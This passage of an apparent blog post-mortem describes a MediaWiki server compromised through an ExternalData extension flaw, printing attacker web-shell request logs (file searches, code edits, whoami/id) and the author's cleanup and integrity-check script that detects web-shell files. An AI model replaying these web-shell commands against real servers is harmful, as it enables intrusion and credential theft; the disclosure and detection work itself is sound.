4096 Jul 2 21:26 tests-rw-r--r-- 1 502 staff 626 Jun 26 05:58 thumb.php-rw-r--r-- 1 502 staff 928 Jun 26 05:58 thumb_handler.phpdrwxr-xr-x 27 root root 4096 Jul 2 21:26 vendorI believe .nxwmq9tug was a probe to test for writable folders, the same was found in images/, with the contents NXWPROBE. They were not very concerned about leaving a trail, especially for a group so focused on stealing credentials.
Sep 26 @ 01:49:49: UTC
They return again and rerun the full secret-scanning script through to 01:50:11: from 91.92.241.215. Again, this is automated.
Sep 26 @ 02:12:41: UTC
95.173.222.27 returns with a patch-script, and they seem to attempt to patch out the CVE by first writing to LocalSettings.php, which they were denied from (read-only).
wiki_web | 95.173.222.27 - - [26/Sep/2026:02:12:41 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-maxdepth+5+-name+LocalSettings.php+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-3 HTTP/1.1" 200 159 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:12:41 +0000] "GET /Nx_pmgcr.php?c=grep+-i+%27ConnectorsDisabled%27+%2Fvar%2Fwww%2Fhtml%2FLocalSettings.php+2%3E%2Fdev%2Fnull HTTP/1.1" 200 127 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:12:42 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-path+%22%2AExternalData%2A%22+-name+%22EDConnectorExe.php%22+2%3E%2Fdev%2Fnull+%7C+head+-3 HTTP/1.1" 200 204 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:12:44 +0000] "GET /Nx_pmgcr.php?c=echo+%27%24edgConnectorsDisabled+%3D+%5B%22EDConnectorExe%22%5D%3B%27+%3E%3E+%2Fvar%2Fwww%2Fhtml%2FLocalSettings.php HTTP/1.1" 200 127 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:12:45 +0000] "GET /Nx_pmgcr.php?c=tail+-3+%2Fvar%2Fwww%2Fhtml%2FLocalSettings.php+2%3E%2Fdev%2Fnull HTTP/1.1" 200 174 "-" "Mozilla/5.0" "95.173.222.27"When that fails, they attempt to patch out the CVE in the extension itself by returning the vulnerable function early.
wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:20 +0000] "GET /Nx_pmgcr.php?c=cp+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php.bak HTTP/1.1" 200 127 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:22 +0000] "GET /Nx_pmgcr.php?c=cat+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php HTTP/1.1" 200 9872 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:22 +0000] "GET /Nx_pmgcr.php?c=grep+-n+%22function+%22+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php HTTP/1.1" 200 606 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:23 +0000] "GET /Nx_pmgcr.php?c=sed+-i+%27s%2Fprotected+function+run%28%29%2Fprotected+function+run%28%29+%7B+return%3B+%7D%5C%2F%5C%2FPATCHED%5Cn%5C%2F%5C%2Fprotected+function+run_disabled%28%29%2F%27+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php HTTP/1.1" 200 127 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:23 +0000] "GET /Nx_pmgcr.php?c=grep+-n+%22proc_open%5C%7Cshell_exec%5C%7Cexec%28%5C%7Cpopen%5C%7Csystem%28%22+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php HTTP/1.1" 200 127 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:24 +0000] "GET /Nx_pmgcr.php?c=php+-r+%22%0A%5C%24f+%3D+file_get_contents%28%27%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php%27%29%3B%0A%5C%24f+%3D+str_replace%28%27protected+function+run%28%29+%7B%27%2C+%27protected+function+run%28%29+%7B+return%3B+%2F%2A+PATCHED+CVE-2026-100382+%2A%2F%27%2C+%5C%24f%29%3B%0A%5C%24f+%3D+str_replace%28%27public+function+run%28%29+%7B%27%2C+%27public+function+run%28%29+%7B+return%3B+%2F%2A+PATCHED+CVE-2026-100382+%2A%2F%27%2C+%5C%24f%29%3B%0Afile_put_contents%28%27%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php%27%2C+%5C%24f%29%3B%0Aecho+%27OK%27%3B%0A%22+ HTTP/1.1" 200 129 "-" "Mozilla/5.0" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:24 +0000] "GET /Nx_pmgcr.php?c=grep+-n+%22PATCHED%22+%2Fvar%2Fwww%2Fhtml%2Fextensions%2FExternalData%2Fincludes%2Fconnectors%2FEDConnectorExe.php HTTP/1.1" 200 194 "-" "Mozilla/5.0" "95.173.222.27"How kind of them! When I learnt of the vulnerability a day later and tested it, it still worked for me, so... good job? I believe the extensions/ folder was writable at the time, which is a security gap I have since fixed, and this stuck, from what I could tell.
They then run another whoami through the original web shell, for old times' sake. That was their last command.
wiki_web | 95.173.222.27 - - [26/Sep/2026:02:13:25 +0000] "GET /Nx_pmgcr.php?c=whoami HTTP/1.1" 200 136 "-" "Mozilla/5.0" "95.173.222.27"Sep 26 @ 05:57:20: UTC
The second TA returns via 194.61.28.204, this time using curl/8.20.0. I believe this IP also had a ton of requests on /api.php I wasn't able to retain or monitor, so they could've placed commands through the RCE itself, rather than a web-shell. Then again, this is an abusive IP that was making requests to my server long before this CVE, so they could've been useless probes as well.
wiki_web | 194.61.28.204 - - [26/Sep/2026:05:57:20 +0000] "GET /7ye8oaju0ydn.php?cmd=id HTTP/1.1" 200 83960 "-" "curl/8.20.0" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:05:57:21 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 83960 "-" "curl/8.20.0" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:05:58:14 +0000] "GET /7ye8oaju0ydn.php?cmd=id HTTP/1.1" 200 83967 "-" "curl/8.20.0" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:05:58:16 +0000] "GET /7ye8oaju0ydn.php?cmd=id HTTP/1.1" 200 83960 "-" "curl/8.20.0" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:05:59:09 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 291 "-" "curl/8.20.0" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:05:59:43 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 291 "-" "curl/8.20.0" "194.61.28.204"End of the logs
Unfortunately, I did not retain any logs besides the ones above and those that were omitted. Before proceeding to clean my server, I sourced the above logs via:
docker compose logs web | grep -E '7ye8oaju0ydn|Nx_'In no chronological order are a few commands I ran before purging the volume:
root@obbywiki-main:/opt/obbywiki# docker compose exec app cat images/.nxw5bvxe9NXWPROBEdocker compose exec app find /var/www/html /tmp -name '.nx*' -o -name 'Nx_*.php' -o -name '7ye8oaju0ydn.php'/var/www/html/Nx_3c1yb.php/var/www/html/7ye8oaju0ydn.php/var/www/html/.nxwmq9tug/var/www/html/Nx_pmgcr.php/var/www/html/cache/.nxwthx1kz/var/www/html/Nx_s73ug.php/var/www/html/images/.nxw5bvxe9# ...-rw-r--r-- 1 www-data www-data 0 Sep 27 03:29 externaldata.txt# (under /tmp, this was my doing)I can release the full logs, if there is any interest, but I think I've covered everything here already.
Anyway, the end of the logs was not the end of my problems. The rest of this post will go over my actions following this discovery, what I learnt from this, and what I am doing to minify the risk of this happening again. I understand that many of you will not be interested in that, and I understand. Thank you for reading so far!
If you're going, before you do so, maybe consider checking out my new MediaWiki extension, IntegratedProfiles. Have a good day/night!
September 27th
I don't remember much of the day before this, but roughly sometime around 03:18: UTC (or 13:18: my time) I received a ping from a security role inside a MediaWiki Discord server. I wasn't doing much at the time, so I opened it. The ping was preceded by a forwarded message from #general, where a server member claimed to be compromised by a vulnerability in ExternalData, an extension I knew I was using.
After reading the report, I sshed into my server and attempted to update the External Data extension, probably from REL1_45, I'm not sure. I believe this is when I tested the RCE by creating /tmp/external_data.txt, as shown in the repro, and was unconvinced that the extension was patched. I decided not to risk it, and just disabled the extension. Soon after, I removed the entire extension.
I then saw the files in the container and assumed the worst, which was correct... sort of. I believe each web shell was empty by the time I got there, so I did not bother copying them out of the container.
It was at this point where I was tracing the logs and trying to piece together what happened. I then rebuilt the container (or every container for good measure) and purged the mw_html volume. Unfortunately, I did not have persistent logs at this time, so the logs went with it.
After I realized that my SES credentials had been stolen, I looked at the dashboard (from which I noticed a spike in usage around 00:00: UTC), and disabled the compromised IAM user, and paused sending in us-east-1 via update-account-sending-enabled. Luckily for me, not many emails were sent during this time, so it didn't cost me anything.
I spent the next 8+ hours ensuring the server was secure. In the end, I found no tampering with the database, no persistent access or entrypoints, no escape from the container, nothing persistent on the volume, no added users, or anything else I looked for.
Unfortunately, I can only see what's changed, and I have no way of knowing if they read the database or not. I personally doubt it given their apparent motivations, but.
Out of an abundance of caution, if you have an account, please read the aforementioned security notice and take the reasonable precautions outlined there. Most of you are guaranteed safe, but I personally recommend you change your password just in case. Thank you!
I'm not sure what to call this header
I was caught off guard. From luck (and some preparation), I received minimal damage. Others, were not so lucky, and I am sorry if you were affected.
Nevertheless, I am not willing to take a chance like that again. I will be taking proactive measures to ensure better security. As it stands today, the attack that happened against my server on the 26th would not have been possible today (at least in the same form), and I would've been alerted of it within minutes. Additionally, I have now set up additional security features that will (hopefully) prevent new forms of attacks in the future, as well. And, logs are now persistent, and shipped off to Grafana on a write-only basis, meaning all logs will survive in the event of a future incident.
I would like to tighten it a bit more, but if anyone is interested, I wouldn't mind sharing the backend files for the wiki in the future, in case anyone wants a reference.
Core integrity alerts
This is the current version of the integrity script, as it stands now. I am likely to change it in the future, maybe even frequently, so don't expect this to be up-to-date.
This script was specifically made for my infrastructure, so you'd probably have to tune it to get anything working.
#!/bin/sh# Obby Wiki integrity / web-shell check. Run from the host (cron):# */10 * * * * /opt/obbywiki/scripts/check-integrity.sh >/dev/null 2>&1## First run (and after every intentional extension/skin file update or pull):# /opt/obbywiki/scripts/check-integrity.sh --baseline## (this will regenerate the baseline, otherwise you will receive alerts for your own doing)## Alerts go to stdout, and, if DISCORD_WEBHOOK_URL is set (e.g. in /etc/obbywiki-alert.env), to a Discord channel. Exit code 1 = findings.## Checks:# 1. MediaWiki core in the mw_html volume vs the pristine copy baked into the image (/usr/src/mediawiki). Any added/changed file triggers an alert.# 2. Any PHP-like file under images/ or cache/ (should never exist).# 3. extensions/ and skins/ on the host vs a sha256 baseline.# 4. outbound connections the egress proxy blocked since the last run.
set -ucd "$(dirname "$0")/.." || exit 2APP=${APP_CONTAINER:-wiki_app}STATE=${STATE_DIR:-./logs/integrity}mkdir -p "$STATE"[ -f /etc/obbywiki-alert.env ] && . /etc/obbywiki-alert.env
manifest() { find ./r/extensions ./r/skins -type f \ -not -path '*/.git/*' -not -path '*/node_modules/*' -print0 \ | sort -z | xargs -0 sha256sum}
if [ "${1:-}" = "--baseline" ]; then manifest > "$STATE/extensions.sha256" echo "baseline written: $(wc -l < "$STATE/extensions.sha256") files"
exit 0fi
out="$STATE/last-findings.txt": > "$out"
# 1. Detect core drift. rsync -n is a DRY RUN. Nothing is changed or deleted, it only lists how the live docroot differs from the image. It is report-only on purpose, so evidence is preserved. Investigate/copy before removing anything.docker exec "$APP" rsync -rcn --delete --itemize-changes \ --exclude '/images/' --exclude '/extensions/' --exclude '/skins/' \ --exclude '/LocalSettings.php' --exclude '/cache/' --exclude '/.obbywiki-image-id' \ /usr/src/mediawiki/ /var/www/html/ 2>&1 \ | sed -E \ -e 's/^\*deleting +(.*)$/[core-drift] extra path, not in image: \1/' \ -e 's/^[<>c]f[^ ]* +(.*)$/[core-drift] modified or missing vs image: \1/' \ -e 's/^cd[^ ]* +(.*)$/[core-drift] directory missing vs image: \1/' \ -e '/^\[core-drift\]/!s/^/[core-drift] /' >> "$out"
# 2. executable-looking files where only data should be. Any .htaccess files MediaWiki may create itself (images/, images/deleted/, images/temp/) are allowlisted, but any other .htaccess/.user.ini is still flagged.docker exec "$APP" find /var/www/html/images /var/www/html/cache -type f \ \( -iname '*.php*' -o -iname '*.phtml' -o -iname '*.phar' -o -iname '*.pht' \ -o -iname '.htaccess' -o -iname '.user.ini' \) 2>&1 \ | grep -vxE '/var/www/html/images/(deleted/|temp/)?\.htaccess' \ | sed 's/^/[suspicious-file] /' >> "$out"
# 3. extensions/skins vs baselineif [ -f "$STATE/extensions.sha256" ]; then manifest > "$STATE/extensions.now" diff "$STATE/extensions.sha256" "$STATE/extensions.now" \ | grep -E '^[<>]' | sed 's/^/[ext-drift] /' >> "$out"else echo "[warn] no extensions baseline; run with --baseline" >> "$out"fi
# 4. blocked outbound attempts since the last run. Legitimate code that suddenly needs a new host shows up here too.SQLOG=./logs/squid/access.logif [ -r "$SQLOG" ]; then total=$(wc -l < "$SQLOG") seen=$(cat "$STATE/squid.lines" 2>/dev/null || echo 0) [ "$total" -lt "$seen" ] && seen=0 # log was rotated tail -n +"$((seen + 1))" "$SQLOG" | awk '$3 ~ /DENIED/ {print "[egress-denied] " $6 " from " $2}' \ | sort | uniq -c | sed 's/^ *//' >> "$out" echo "$total" > "$STATE/squid.lines"fi
if [ -s "$out" ]; then cat "$out" if [ -n "${DISCORD_WEBHOOK_URL:-}" ]; then msg=$(head -c 1800 "$out" | sed 's/\\/\\\\/g; s/"/\\"/g' | awk '{printf "%s\\n", $0}') curl -fsS -H 'Content-Type: application/json' \ -d "{\"content\":\"**obby.wiki integrity alert** ($(hostname))\\n\`\`\`${msg}\`\`\`\"}" \ "$DISCORD_WEBHOOK_URL" >/dev/null || true fi
exit 1fiexit 0Don't forget to regenerate the baseline after updating an extension before falling asleep... that would be... bad.
Tighter networks
Every container can only interact with networks it needs to.
Tighter secrets
Every container can only see secrets it will use. Previously, the app container had access to every single secret, and that is no longer the case.
Egress proxy
All outside traffic is allowlist-only now, given to a set group of domains, which I will keep private for security reasons.
The end
That's everything I can remember right now. I'm left in a position where I feel as if I can't trust WMF or their security team, and I will be making changes accordingly to ensure I do not rely on them very much. In a future blog post on the Obby Wiki, I will explain what I am changing in the future in terms of extensions and integrations, such as hopefully migrating to Bucket from Cargo, once that reaches parity in terms of data types, at least.
As a matter of fact, this week's security release contained extensions. Can you guess what extension was listed? Because I did. External Data was also there, if I was just finding out now, when they officially announced it... goodbye, I guess.
Anyway, don't tell anyone, but I'm working on a very big extension for MediaWiki. It's going to be a very long time until it's stable, but I do believe it will be one of my largest overall. It's also very fun to work on!
Thank you for reading. The security notice I posted on the 28th is linked below, if you would like to read it.
Related
Shizuku 0.1.0 for DiscourseShizuku is a soft, calm, and responsive theme for Discourse forums. Now open source!
WikiWire v0.6.0 releasedThis release introduces new features and a substantial fix that should result in a noticeable improvement in QoL.
IntegratedProfiles is now open source!IntegratedProfiles is now open source and available on GitHub under GPL v3.
User Profiles SupportProfiles pictures, banners, social links, and more are live now.